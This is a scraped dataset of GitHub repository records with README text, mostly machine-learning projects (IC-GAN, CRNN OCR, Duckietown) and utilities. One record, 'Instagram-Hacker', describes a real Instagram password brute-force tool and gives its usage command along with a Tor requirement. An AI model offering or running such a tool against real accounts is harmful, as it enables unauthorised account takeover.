href=\"https://github.com/zhmiao/OpenLongTailRecognition-OLTR\"> ImageNet-LT </a>, the file <code>ImageNet_LT_train.txt</code> can be downloaded from <a href=\"https://drive.google.com/drive/u/1/folders/1j7Nkfe6ZhzKFXePHdsseeeGI877Xu1yf\" > this link </a> and later stored in the folder <code>./BigGAN_PyTorch/imagenet_lt</code>.\n      </li>\n      <li>Download the pre-trained weights of the ResNet on ImageNet-LT from <a href=\"https://dl.fbaipublicfiles.com/classifier-balancing/ImageNet_LT/models/resnet50_uniform_e90.pth\"> this link</a>, provided by the <a href=\"https://github.com/facebookresearch/classifier-balancing\"> classifier-balancing repository </a>. </li>\n      <li> Replace the paths in data_utils/prepare_data.sh: <code>out_path</code> by the path where hdf5 files will be stored, <code>path_imnet</code> by the path where ImageNet dataset is downloaded, and <code>path_classifier_lt</code> by the path where the pre-trained ResNet50 weights are stored. </li>\n      <li> Execute <code>./data_utils/prepare_data.sh imagenet_lt [resolution]</code>, where <code>[resolution]</code> can be an integer in {64,128,256}. This script will create several hdf5 files:\n         <ul> <li> <code>ILSVRC[resolution]longtail_xy.hdf5</code>, where images and labels are stored for the training and validation set          respectively. </li>\n           <li> <code>ILSVRC[resolution]longtail_feats_[feature_extractor]_resnet50.hdf5</code> that contains the instance features for each image. </li>\n            <li> <code>ILSVRC[resolution]longtail_feats_[feature_extractor]_resnet50_nn_k[k_nn].hdf5</code> that contains the list of [k_nn] neighbors for each of the instance features. </li> </ul> </li>\n   </ol> </br>\n</details>\n\n<details>\n<summary>COCO-Stuff</summary>\n<br>\n   <ol>\n      <li>Download the dataset following the <a href=\"https://github.com/WillSuen/LostGANs/blob/master/INSTALL.md\"> LostGANs' repository instructions </a>.\n      </li>\n      <li>Download <a href=\"https://github.com/facebookresearch/swav\"> SwAV </a> feature extractor weights from <a href=\"https://dl.fbaipublicfiles.com/deepcluster/swav_800ep_pretrain.pth.tar\"> here </a>. </li>\n      <li> Replace the paths in data_utils/prepare_data.sh: <code>out_path</code> by the path where hdf5 files will be stored, <code>path_imnet</code> by the path where ImageNet dataset is downloaded, and <code>path_swav</code> by the path where SwAV weights are stored. </li>\n      <li> Execute <code>./data_utils/prepare_data.sh coco [resolution]</code>, where <code>[resolution]</code> can be an integer in {128,256}. This script will create several hdf5 files:\n         <ul> <li> <code>COCO[resolution]_xy.hdf5</code> and <code>COCO[resolution]_val_test_xy.hdf5</code>, where images and labels are stored for the training and evaluation set respectively. </li>\n           <li> <code>COCO[resolution]_feats_[feature_extractor]_resnet50.hdf5</code> that contains the instance features for each image. </li>\n            <li> <code>COCO[resolution]_feats_[feature_extractor]_resnet50_nn_k[k_nn].hdf5</code> that contains the list of [k_nn] neighbors for each of the instance features. </li> </ul> </li>\n   </ol> </br>\n</details>\n\n<details>\n<summary>Other datasets</summary>\n<br>\n   <ol>\n      <li>Download the corresponding dataset and store in a folder <code>dataset_path</code>.\n      </li>\n      <li>Download <a href=\"https://github.com/facebookresearch/swav\"> SwAV </a> feature extractor weights from <a href=\"https://dl.fbaipublicfiles.com/deepcluster/swav_800ep_pretrain.pth.tar\"> here </a>. </li>\n      <li> Replace the paths in data_utils/prepare_data.sh: <code>out_path</code> by the path where hdf5 files will be stored and <code>path_swav</code> by the path where SwAV weights are stored. </li>\n      <li> Execute <code>./data_utils/prepare_data.sh [dataset_name] [resolution] [dataset_path]</code>, where <code>[dataset_name]</code> will be the dataset name, <code>[resolution]</code> can be an integer, for example 128 or 256, and <code>dataset_path</code> contains the dataset images. This script will create several hdf5 files:\n         <ul> <li> <code>[dataset_name][resolution]_xy.hdf5</code>, where images and labels are stored for the training set. </li>\n           <li> <code>[dataset_name][resolution]_feats_[feature_extractor]_resnet50.hdf5</code> that contains the instance features for each image. </li>\n            <li> <code>[dataset_name][resolution]_feats_[feature_extractor]_resnet50_nn_k[k_nn].hdf5</code> that contains the list of <code>k_nn</code> neighbors for each of the instance features. </li> </ul> </li>\n   </ol> </br>\n</details>\n\n\n<details>\n<summary>How to subsample an instance feature dataset with k-means</summary>\n<br>\nTo downsample the instance feature vector dataset, after we have prepared the data, we can use the k-means algorithm:\n<code>\npython data_utils/store_kmeans_indexes.py --resolution [resolution] --which_dataset [dataset_name] --data_root [data_path]\n   </code>\n   <ul> <li> Adding <code>--gpu</code> allows the faiss library to compute k-means leveraging GPUs, resulting in faster execution. </li>\n      <li> Adding the parameter <code>--feature_extractor [feature_extractor]</code> chooses which feature extractor to use, with <code>feature_extractor</code> in <code>['selfsupervised', 'classification'] </code>, if we are using swAV as feature extactor or the ResNet pretrained on the classification task on ImageNet, respectively. </li>\n      <li> The number of k-means clusters can be set with <code>--kmeans_subsampled [centers]</code>, where <code>centers</code> is an integer. </li> </ul>\n</br>\n</details>\n</div>\n\n## How to train the models\n\n#### BigGAN or StyleGAN2 backbone\nTraining parameters are stored in JSON files in `[backbone_folder]/config_files/[dataset]/*.json`, where `[backbone_folder]` is either BigGAN_Pytorch or stylegan2_ada_pytorch and `[dataset]` can either be ImageNet, ImageNet-LT or COCO_Stuff.\n```\ncd BigGAN_PyTorch\npython run.py --json_config config_files/<dataset>/<selected_config>.json --data_root [data_root] --base_root [base_root]\n```\nor \n```\ncd stylegan_ada_pytorch\npython run.py --json_config config_files/<dataset>/<selected_config>.json --data_root [data_root] --base_root [base_root]\n```\nwhere:\n* `data_root` path where the data has been prepared and stored, following the previous section (<a href=\"./README.md#data-preparation\">Data preparation</a>). \n* `base_root` path where to store the model weights and logs.\n\n\nNote that one can create other JSON files to modify the training parameters.\n\n#### Other backbones\nTo be able to run IC-GAN with other backbones, we provide some orientative steps:\n* Place the new backbone code in a new folder under `ic_gan`  (`ic_gan/new_backbone`).\n* Modify the relevant piece of code in the GAN architecture to allow instance features as conditionings (for both generator and discriminator). \n* Create a `trainer.py` file with the training loop to train an IC-GAN with the new backbone. The `data_utils` folder provides the tools to prepare the dataset, load the data and conditioning sampling to train an IC-GAN. The IC-GAN with BigGAN backbone [`trainer.py`](BigGAN_PyTorch/trainer.py) file can be used as an inspiration.\n\n\n   \n## How to test the models\n<b>To obtain the FID and IS metrics on ImageNet and ImageNet-LT</b>: \n1) Execute:\n``` \npython inference/test.py --json_config [BigGAN-PyTorch or stylegan-ada-pytorch]/config_files/<dataset>/<selected_config>.json --num_inception_images [num_imgs] --sample_num_npz [num_imgs] --eval_reference_set [ref_set] --sample_npz --base_root [base_root] --data_root [data_root] --kmeans_subsampled [kmeans_centers] --model_backbone [backbone]\n```\nTo obtain the tensorflow IS and FID metrics, use an environment with the Python <3.7 and Tensorflow 1.15. Then:\n\n2) Obtain Inception Scores and pre-computed FID moments:\n ``` \n python ../data_utils/inception_tf13.py --experiment_name [exp_name] --experiment_root [base_root] --kmeans_subsampled [kmeans_centers] \n ```\n\nFor stratified FIDs in the ImageNet-LT dataset, the following parameters can be added `--which_dataset 'imagenet_lt' --split 'val' --strat_name [stratified_split]`, where `stratified_split` can be in `[few,low, many]`.\n    \n3) (Only needed once) Pre-compute reference moments with tensorflow code:\n ```\n python ../data_utils/inception_tf13.py --use_ground_truth_data --data_root [data_root] --split [ref_set] --resolution [res] --which_dataset [dataset]\n ```\n\n4) (Using this [repository](https://github.com/bioinf-jku/TTUR)) FID can be computed using the pre-computed statistics obtained in 2) and the pre-computed ground-truth statistics obtain in 3). For example, to compute the FID with reference ImageNet validation set: \n```python TTUR/fid.py [base_root]/[exp_name]/TF_pool_.npz [data_root]/imagenet_val_res[res]_tf_inception_moments_ground_truth.npz ``` \n\n<b>To obtain the FID metric on COCO-Stuff</b>:\n1) Obtain ground-truth jpeg images:  ```python data_utils/store_coco_jpeg_images.py --resolution [res] --split [ref_set] --data_root [data_root] --out_path [gt_coco_images] --filter_hd [filter_hd] ```\n2) Store generated images as jpeg images: ```python sample.py --json_config ../[BigGAN-PyTorch or stylegan-ada-pytorch]/config_files/<dataset>/<selected_config>.json --data_root [data_root] --base_root [base_root] --sample_num_npz [num_imgs] --which_dataset 'coco' --eval_instance_set [ref_set] --eval_reference_set [ref_set] --filter_hd [filter_hd] --model_backbone [backbone] ```\n3) Using this [repository](https://github.com/bioinf-jku/TTUR), compute FID on the two folders of ground-truth and generated images.\n\nwhere:\n* `dataset`: option to select the dataset in `['imagenet', 'imagenet_lt', 'coco']\n* `exp_name`: name of the experiment folder.\n* `data_root`: path where the data has been prepared and stored, following the previous section [\"Data preparation\"](#data-preparation). \n* `base_root`: path where to find the model (for example, where the pretrained models have been downloaded). \n* `num_imgs`: needs to be set to 50000 for ImageNet and ImageNet-LT (with validation set as reference) and set to 11500 for ImageNet-LT (with training set as reference). For COCO-Stuff, set to 75777, 2050, 675, 1375 if using the training, evaluation, evaluation seen or evaluation unseen set as reference.\n* `ref_set`: set to `'val'` for ImageNet, ImageNet-LT (and COCO) to obtain metrics with the validation (evaluation) set as reference, or set to `'train'` for ImageNet-LT or COCO to obtain metrics with the training set as reference.\n* `kmeans_centers`: set to 1000 for ImageNet and to -1 for ImageNet-LT. \n* `backbone`: model backbone architecture in `['biggan','stylegan2']`.\n* `res`: integer indicating the resolution of the images (64,128,256).\n* `gt_coco_images`: folder to store the ground-truth JPEG images of that specific split.\n* `filter_hd`: only valid for `ref_set=val`. If -1, use the entire evaluation set; if 0, use only conditionings and their ground-truth images with seen class combinations during training (eval seen); if 1, use only conditionings and their ground-truth images with unseen class combinations during training (eval unseen). \n\n\n## Utilities for GAN backbones\nWe change and provide extra utilities to facilitate the training, for both BigGAN and StyleGAN2 base repositories.\n\n### BigGAN change log\nThe following changes were made:\n\n* BigGAN architecture:\n    * In `train_fns.py`: option to either have the optimizers inside the generator and discriminator class, or directly in the `G_D` wrapper module. Additionally, added an option to augment both generated and real images with augmentations from [DiffAugment](https://github.com/mit-han-lab/data-efficient-gans).\n    * In `BigGAN.py`: added a function `get_condition_embeddings` to handle the conditioning separately.\n    * Small modifications to `layers.py` to adapt the batchnorm function calls to the pytorch 1.8 version. \n    \n* Training utilities: \n    * Added `trainer.py` file (replacing train.py):\n        * Training now allows the usage of DDP for faster single-node and multi-node training.\n        * Training is performed by epochs instead of by iterations.\n        * Option to stop the training by using early stopping or when experiments diverge. \n    * In `utils.py`:\n        * Replaced `MultiEpochSampler` for `CheckpointedSampler` to allow experiments to be resumable when using epochs and fixing a bug where `MultiEpochSampler` would require a long time to fetch data permutations when the number of epochs increased.\n        * ImageNet-LT: Added option to use different class distributions when sampling a class label for the generator.\n        * ImageNet-LT: Added class balancing (uniform and temperature annealed).\n        * Added data augmentations from [DiffAugment](https://github.com/mit-han-lab/data-efficient-gans).\n\n* Testing utilities:\n    * In `calculate_inception_moments.py`: added option to obtain moments for ImageNet-LT dataset, as well as stratified moments for many, medium and few-shot classes (stratified FID computation).\n    * In `inception_utils.py`: added option to compute [Precision, Recall, Density, Coverage](https://github.com/clovaai/generative-evaluation-prdc) and stratified FID.\n    \n* Data utilities:\n    * In `datasets.py`, added option to load ImageNet-LT dataset.\n    * Added ImageNet-LT.txt files with image indexes for training and validation split. \n    * In `utils.py`: \n        * Separate functions to obtain the data from hdf5 files (`get_dataset_hdf5`) or from directory (`get_dataset_images`), as well as a function to obtain only the data loader (`get_dataloader`). \n        * Added the function `sample_conditionings` to handle possible different conditionings to train G with.\n        \n* Experiment utilities:\n    * Added JSON files to launch experiments with the proposed hyper-parameter configuration.\n    * Script to launch experiments with either the [submitit tool](https://github.com/facebookincubator/submitit) or locally in the same machine (run.py). \n\n### StyleGAN2 change log \n<div id=\"stylegan-changelog\">\n<ul>\n   <li> Multi-node DistributedDataParallel training.  </li>\n   <li> Added early stopping based on the training FID metric.  </li>\n   <li> Automatic checkpointing when jobs are automatically rescheduled on a cluster.  </li>\n   <li> Option to load dataset from hdf5 file.  </li>\n   <li> Replaced the usage of Click python package by an `ArgumentParser`. </li>\n   <li> Only saving best and last model weights. </li>\n   </ul>\n</div>\n\n## Acknowledgements\nWe would like to thanks the authors of the [Pytorch BigGAN repository](https://github.com/ajbrock/BigGAN-PyTorch) and [StyleGAN2 Pytorch](https://github.com/NVlabs/stylegan2-ada-pytorch), as our model requires their repositories to train IC-GAN with BigGAN or StyleGAN2 bakcbone respectively. \nMoreover, we would like to further thank the authors of [generative-evaluation-prdc](https://github.com/clovaai/generative-evaluation-prdc), [data-efficient-gans](https://github.com/mit-han-lab/data-efficient-gans), [faiss](https://github.com/facebookresearch/faiss) and [sg2im](https://github.com/google/sg2im) as some components were borrowed and modified from their code bases. Finally, we thank the author of [WanderCLIP](https://colab.research.google.com/github/eyaler/clip_biggan/blob/main/WanderCLIP.ipynb) as well as the following repositories, that we use in our Colab notebook: [pytorch-pretrained-BigGAN](https://github.com/huggingface/pytorch-pretrained-BigGAN) and [CLIP](https://github.com/openai/CLIP).\n\n## License\nThe majority of IC-GAN is licensed under CC-BY-NC, however portions of the project are available under separate license terms: BigGAN and [PRDC](https://github.com/facebookresearch/ic_gan/blob/main/data_utils/compute_pdrc.py) are licensed under the MIT license; [COCO-Stuff loader](https://github.com/facebookresearch/ic_gan/blob/main/data_utils/cocostuff_dataset.py) is licensed under Apache License 2.0; [DiffAugment](https://github.com/facebookresearch/ic_gan/blob/main/BigGAN_PyTorch/diffaugment_utils.py) is licensed under BSD 2-Clause Simplified license; StyleGAN2 is licensed under a NVIDIA license, available here: https://github.com/NVlabs/stylegan2-ada-pytorch/blob/main/LICENSE.txt. In the Colab notebook, [CLIP](https://github.com/openai/CLIP) and [pytorch-pretrained-BigGAN](https://github.com/huggingface/pytorch-pretrained-BigGAN) code is used, both licensed under the MIT license.\n\n## Disclaimers\nTHE DIFFAUGMENT SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nTHE CLIP SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\nTHE PYTORCH-PRETRAINED-BIGGAN SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\n## Cite the paper\nIf this repository, the paper or any of its content is useful for your research, please cite:\n```\n@inproceedings{casanova2021instanceconditioned,\n      title={Instance-Conditioned GAN}, \n      author={Arantxa Casanova and Marl\u00e8ne Careil and Jakob Verbeek and Michal Drozdzal and Adriana Romero-Soriano},\n      booktitle={Advances in Neural Information Processing Systems (NeurIPS)},\n      year={2021}\n}\n```\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "malllabiisc/CompGCN", "link": "https://github.com/malllabiisc/CompGCN", "tags": ["link-prediction", "relation-embeddings", "iclr2020", "graph-convolutional-networks", "deep-learning", "pytorch", "graph-representation-learning"], "stars": 514, "description": "ICLR 2020: Composition-Based Multi-Relational Graph Convolutional Networks", "lang": "Python", "repo_lang": "", "readme": "", "readme_type": "text", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "jython/frozen-mirror", "link": "https://github.com/jython/frozen-mirror", "tags": [], "stars": 514, "description": "A Mirror of hg.python.org (now frozen). Please use jython/jython.", "lang": "Python", "repo_lang": "", "readme": "Jython: Python for the Java Platform\n------------------------------------\n\nWelcome to Jython @jython.version@.\n@snapshot.banner@\nThis is @readme.release@ release of version @jython.version.short@ of Jython.\n\nAlong with language and runtime compatibility with CPython 2.7, Jython 2.7\nprovides substantial support of the Python ecosystem. This includes built-in\nsupport of pip/setuptools (you can use with bin/pip) and a native launcher\nfor Windows (bin/jython.exe).\n\nJim Baker presented a talk at PyCon 2015 about Jython 2.7, including demos\nof new features: https://www.youtube.com/watch?v=hLm3garVQFo\n\nThis release was compiled on @os.name@ using @java.vendor@ Java\nversion @java.version@ and requires a minimum of Java @jdk.target.version@ to run.\n\nSee ACKNOWLEDGMENTS for details about Jython's copyright, license,\ncontributors, and mailing lists; and NEWS for detailed release notes,\nincluding bugs fixed, backwards breaking changes, and new features.\n\nThe developers extend their thanks to all who contributed to this release\nof Jython, through bug reports, patches, pull requests, documentation\nchanges, email and conversation in any media. We are grateful to the PSF for\ncontinuing practical help and support to the project.\n\nTesting\n-------\nYou can test your installation of Jython (not the standalone jar) by\nrunning the regression tests, with the command:\n\njython -m test.regrtest -e\n\nThe regression tests can take about fifty minutes. At the time of writing,\nthese tests are known to fail (spuriously) on an installed Jython:\n    test___all__\n    test_java_visibility\n    test_jy_internals\n    test_ssl_jy\nPlease report reproducible failures at http://bugs.jython.org .\n\n", "readme_type": "text", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "importCTF/Instagram-Hacker", "link": "https://github.com/importCTF/Instagram-Hacker", "tags": ["hacking", "hacking-tool", "instagram", "python", "bruteforce", "bruteforce-attacks"], "stars": 514, "description": "This is an advanced script for Instagram bruteforce attacks. WARNING THIS IS A REAL TOOL!", "lang": "Python", "repo_lang": "", "readme": "# Instagram-Hacker\nThis is a script for Instagram bruteforce attacks. WARNING THIS IS A REAL TOOL!\n\n# Usage\n\n`python instagram.py username103 pass.lst`\n\n# Requirements\n\n[mechanize](https://pypi.python.org/pypi/mechanize/) install with: `pip install mechanize`\n\n[requests](https://pypi.python.org/pypi/requests/2.18.4) install with: `pip install requests`\n\n[Tor](https://www.torproject.org/docs/debian) install with: `sudo apt-get install tor`\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "firstlookmedia/pdf-redact-tools", "link": "https://github.com/firstlookmedia/pdf-redact-tools", "tags": [], "stars": 514, "description": "a set of tools to help with securely redacting and stripping metadata from documents before publishing", "lang": "Python", "repo_lang": "", "readme": "# PDF Redact Tools\n\n_Warning: This project is no longer maintained. A much better tool is [dangerzone](https://dangerzone.rocks)._\n\n![PDF Redact Tools](/logo.png)\n\nPDF Redact Tools helps with securely redacting and stripping metadata from documents before publishing.\n\n*Warning:* PDF Redact Tools uses ImageMagick to parse PDFs. While ImageMagick is a versatile tool, it has a history of some [terrible](https://imagetragick.com/) security bugs. A malicious PDF could exploit a bug in ImageMagick to take over your computer. If you're working with potentially malicious PDFs, it's safest to run them through PDF Redact Tools in an isolated environment, such as a virtual machine, or by using a tool such as the [Qubes PDF Converter](https://github.com/QubesOS/qubes-app-linux-pdf-converter) instead.\n\n## Quick Start\n\n### Mac OS X\n\n* Install [Homebrew](http://brew.sh/)\n* Open a terminal and type `$ brew install pdf-redact-tools`\n\n### Ubuntu\n\nYou can install PDF Redact Tools from this Ubuntu PPA:\n\n```sh\n$ sudo add-apt-repository ppa:micahflee/ppa\n$ sudo apt-get update\n$ sudo apt-get install pdf-redact-tools\n```\n\n### Other\n\nPDF Redact Tools isn't yet packaged in any GNU/Linux distributions yet, however it's easy to install by following the [build instructions](/BUILD.md). I haven't attempted to make this work in Windows.\n\n## How to Use\n\nTo use it, convert your original document to a PDF.\n\nThen start by exploding the PDF into PNG files:\n\n```sh\n$ pdf-redact-tools --explode example_document.pdf\n```\n\nThis will create a new folder in the same directory as the PDF called (in this case) `example_document_pages`, with a PNG for each page.\n\nEdit each page that needs redacting in graphics editing software like GIMP or Photoshop. Note that opening, editing, and saving a PNG will likely make it look slightly different than the other PNGs. For best results, open all PNGs and simply save and close the pages you don't need to edit.\n\nWhen you're done, combine the PNGs back into a flattened, informationless PDF:\n\n```sh\n$ pdf-redact-tools --merge example_document.pdf\n```\n\nIn this case, the final redacted PDF is called `example_document-final.pdf`.\n\nIf you don't need to redact anything, but you just want a new PDF that definitely doesn't contain malware or metadata, you can simply sanitize it.\n\n```sh\n$ pdf-redact-tools --sanitize untrusted.pdf\n```\n\nThe final document that you can trust is called `untrusted-final.pdf`.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "AUNaseef/protonup", "link": "https://github.com/AUNaseef/protonup", "tags": ["proton", "proton-ge-custom", "linux", "steam", "automation", "python"], "stars": 514, "description": "Install and Update Proton-GE", "lang": "Python", "repo_lang": "", "readme": "## Introduction\nCLI program and API to automate the installation and update of [GloriousEggroll](https://github.com/GloriousEggroll/)'s [Proton-GE](https://github.com/GloriousEggroll/proton-ge-custom)\n\n[![Downloads](https://pepy.tech/badge/protonup)](https://pepy.tech/project/protonup)\n\n## Installation\nInstall from Python Package Index\n```\npip3 install protonup\n```\nInstall from source\n```\ngit clone https://github.com/AUNaseef/protonup && cd protonup\npython3 setup.py install --user\n```\nIf you get a `command not found` error, add the following to your `~/.profile` (if it's not already present) and run `source ~/.profile`\n```\nif [ -d \"$HOME/.local/bin\" ] ; then\n    PATH=\"$HOME/.local/bin:$PATH\"\nfi\n```\n\n## Usage\nSet your installation directory before running the program with `-d \"your/compatibilitytools.d/directory\"`\n\nExample:\n```\nprotonup -d \"~/.steam/root/compatibilitytools.d/\"\n```\n---\nTo update to the latest version, just run `protonup` from a command line\n\nExample:\n```\nprotonup\n```\n---\nList available versions with `--releases`\n\nExample:\n```\nprotonup --releases\n```\n---\nInstall a specific version with `-t \"version tag\"`\n\nExample:\n```\nprotonup -t 6.5-GE-2\n```\n---\nBy default the downloads are stored in a temporary folder. Change it with `-o \"custom/download/directory\"`\n\nExample:\n```\nprotonup -o ~/Downloads\n```\n---\nList existing installations with `-l`\n\nExample:\n```\nprotonup -l\n```\n---\nRemove existing installations with `-r \"version tag`\n\nExample:\n```\nprotonup -r 6.5-GE-2\n```\n---\nUse `--download` to download  Proton-GE to the current working directory without installing it, you can override destination with `-o`\n\nExample:\n```\nprotonup --download\n```\n---\nUse `-y` toggle to carry out actions without any logging or interaction\n\nExample:\n```\nprotonup --download -o ~/Downloads -y\n```\n---\n### Restart Steam after making changes\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "bai-shang/crnn_ctc_ocr_tf", "link": "https://github.com/bai-shang/crnn_ctc_ocr_tf", "tags": [], "stars": 513, "description": "Extremely simple implement for CRNN by Tensorflow", "lang": "Python", "repo_lang": "", "readme": "# crnn_ctc_ocr_tf\nThis software implements the Convolutional Recurrent Neural Network (CRNN), a combination of CNN, RNN and CTC loss for image-based sequence recognition tasks, such as scene text recognition and OCR.  \n\nhttps://arxiv.org/abs/1507.05717  \n\nMore details for CRNN and CTC loss (in chinese): https://zhuanlan.zhihu.com/p/43534801   \n\n![](https://github.com/bai-shang/crnn_ctc_ocr_tf/blob/master/Arch.jpg?raw=true)\n\n***The crnn+seq2seq+attention ocr code can be found here [bai-shang/crnn_seq2seq_ocr_pytorch](https://github.com/bai-shang/crnn_seq2seq_ocr_pytorch)***\n\n# Dependencies\nAll dependencies should be installed are as follow: \n* Python3\n* tensorflow==1.15.0\n* opencv-python\n* numpy\n\nRequired packages can be installed with\n```bash\npip3 install -r requirements.txt\n```    \n\nNote: This code cannot run on the tensorflow2.0 since it's modified the 'tf.nn.ctc_loss' API.\n\n# Run demo\n\nAsume your current work directory is \"crnn_ctc_ocr_tf\"\uff1a\n```bash\ncd path/to/your/crnn_ctc_ocr_tf/\n```\nDowload pretrained model and extract it to your disc:  [GoogleDrive](https://drive.google.com/file/d/1A3V7o3SKSiL3IHcTqc1jP4w58DuC8F9o/view?usp=sharing) .   \n\nExport current work directory path into PYTHONPATH:  \n\n```bash\nexport PYTHONPATH=$PYTHONPATH:./\n```\n\nRun inference demo:\n\n```bash\npython3 tools/inference_crnn_ctc.py \\\n  --image_dir ./test_data/images/ --image_list ./test_data/image_list.txt \\\n  --model_dir /path/to/your/bs_synth90k_model/ 2>/dev/null\n```\n\nResult is:\n```\nPredict 1_AFTERSHAVE_1509.jpg image as: aftershave\n```\n![1_AFTERSHAVE_1509.jpg](https://github.com/bai-shang/crnn_ctc_ocr_tf/blob/master/test_data/images/1_AFTERSHAVE_1509.jpg)\n```\nPredict 2_LARIAT_43420.jpg image as: lariat\n```\n![2_LARIAT_43420](https://github.com/bai-shang/crnn_ctc_ocr_tf/blob/master/test_data/images/2_LARIAT_43420.jpg)\n\n# Train a new model\n\n### Data Preparation\n* Firstly you need download [Synth90k](http://www.robots.ox.ac.uk/~vgg/data/text/) datasets and extract it into a folder.   \n\n* Secondly supply a txt file to specify the relative path to the image data dir and it's corresponding text label.   \n\nFor example: image_list.txt\n```bash\n90kDICT32px/1/2/373_coley_14845.jpg coley\n90kDICT32px/17/5/176_Nevadans_51437.jpg nevadans\n```\n* Then you suppose to convert your dataset to tfrecord format can be done by\n```bash\npython3 tools/create_crnn_ctc_tfrecord.py \\\n  --image_dir path/to/90kDICT32px/ --anno_file path/to/image_list.txt --data_dir ./tfrecords/ \\\n  --validation_split_fraction 0.1\n```\nNote: make sure that images can be read from the path you specificed. For example:\n```bash\npath/to/90kDICT32px/1/2/373_coley_14845.jpg\npath/to/90kDICT32px/17/5/176_Nevadans_51437.jpg\n.......\n```\nAll training images will be scaled into height 32pix and write to tfrecord file.  \nThe dataset will be divided into train and validation set and you can change the parameter to control the ratio of them.\n\n#### Otherwise you can use the dowload_synth90k_and_create_tfrecord.sh script automatically create tfrecord:\n```\ncd ./data\nsh dowload_synth90k_and_create_tfrecord.sh\n```\n\n### Train model\n```bash\npython3 tools/train_crnn_ctc.py --data_dir ./tfrecords/ --model_dir ./model/ --batch_size 32\n```\nAfter several times of iteration you can check the output in terminal as follow:  \n\n![](https://github.com/bai-shang/crnn_ctc_ocr_tf/blob/master/data/20180919022202.png?raw=true)\n\nDuring my experiment the loss drops as follow:\n![](https://github.com/bai-shang/crnn_ctc_ocr_tf/blob/master/data/20180919202432.png?raw=true)\n\n### Evaluate model\n```bash\npython3 tools/eval_crnn_ctc.py --data_dir ./tfrecords/ --model_dir ./model/ 2>/dev/null\n```\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "duckietown/gym-duckietown", "link": "https://github.com/duckietown/gym-duckietown", "tags": ["openai-gym", "simulator", "reinforcement-learning", "robot", "imitation-learning"], "stars": 513, "description": "Self-driving car simulator for the Duckietown universe", "lang": "Python", "repo_lang": "", "readme": "# Gym-Duckietown\n\n[![Build Status](https://circleci.com/gh/duckietown/gym-duckietown/tree/master.svg?style=shield)](https://circleci.com/gh/duckietown/gym-duckietown/tree/master) [![Docker Hub](https://img.shields.io/docker/pulls/duckietown/gym-duckietown.svg)](https://hub.docker.com/r/duckietown/gym-duckietown)\n\n\n[Duckietown](http://duckietown.org/) self-driving car simulator environments for OpenAI Gym.\n\nPlease use this bibtex if you want to cite this repository in your publications:\n\n```\n@misc{gym_duckietown,\n  author = {Chevalier-Boisvert, Maxime and Golemo, Florian and Cao, Yanjun and Mehta, Bhairav and Paull, Liam},\n  title = {Duckietown Environments for OpenAI Gym},\n  year = {2018},\n  publisher = {GitHub},\n  journal = {GitHub repository},\n  howpublished = {\\url{https://github.com/duckietown/gym-duckietown}},\n}\n```\n\nThis simulator was created as part of work done at [Mila](https://mila.quebec/).\n\n<p align=\"center\">\n<img src=\"media/simplesim_free.png\" width=\"300px\"><br>\n</p>\n\n<h2 align=\"center\">\nWelcome to <b>Duckietown</b>!\n</h2>\n\n## Introduction\n\nGym-Duckietown is a simulator for the [Duckietown](https://duckietown.org) Universe, written in pure Python/OpenGL (Pyglet). It places your agent, a Duckiebot, inside of an instance of a Duckietown: a loop of roads with turns, intersections, obstacles, Duckie pedestrians, and other Duckiebots. It can be a pretty hectic place!\n\nGym-Duckietown is fast, open, and incredibly customizable. What started as a lane-following simulator has evolved into a fully-functioning autonomous driving simulator that you can use to train and test your Machine Learning, Reinforcement Learning, Imitation Learning, or even classical robotics algorithms. Gym-Duckietown offers a wide range of tasks, from simple lane-following to full city navigation with dynamic obstacles. 